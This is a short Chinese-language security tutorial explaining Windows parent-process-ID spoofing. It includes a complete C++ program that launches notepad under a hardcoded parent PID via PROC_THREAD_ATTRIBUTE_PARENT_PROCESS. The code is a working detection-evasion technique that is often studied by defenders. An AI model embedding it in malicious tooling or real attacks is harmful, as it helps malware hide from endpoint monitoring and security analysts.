「攻防对抗」初识利用PPID欺骗绕过插图

PPID Spoofing 是指父进程ID伪造,即通过一种技术使恶意代码伪装成由另一个合法或良性进程启动的行为。在计算机操作系统中,每个进程都有一个唯一的进程ID(PID),同时还有一个指向启动它的父进程的父进程ID(PPID)。

「攻防对抗」初识利用PPID欺骗绕过插图1
PPID Spoofing

了解PPID

正常情况下,每个进程都有一个唯一的进程标识符(PID)和一个父进程标识符(PPID)。PPID 欺骗通过修改或伪造进程的 PPID,使得安全工具误认为恶意进程是由一个合法的、无害的进程启动的。这样,攻击者可以更容易地绕过安全监控和检测系统,降低被检测的风险。

需要注意的是,PPID 欺骗是一种高级的技术,通常是由具有深厚技术背景的攻击者使用。对抗这种类型的攻击需要采用更复杂的安全措施,如行为分析、异常检测和终端防护等。

实现代码

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main()
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));  // 将si结构体初始化为0

    // 打开具有指定PID(在此例中为4396)的进程并获取其句柄
    // 这将作为新进程的父进程
    HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 4396);

    // 第一次调用是为了计算所需的属性列表的大小
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);

    // 为属性列表分配空间
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);

    // 第二次调用是为了真正初始化属性列表
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    // 更新属性列表,设置新进程的父进程为我们指定的进程
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);

    // 设置启动信息的大小
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // 创建新的notepad进程,使用上面的启动信息,从而使新进程的父进程为我们指定的进程
    CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

    return 0;
}

问题不大,就这样吧!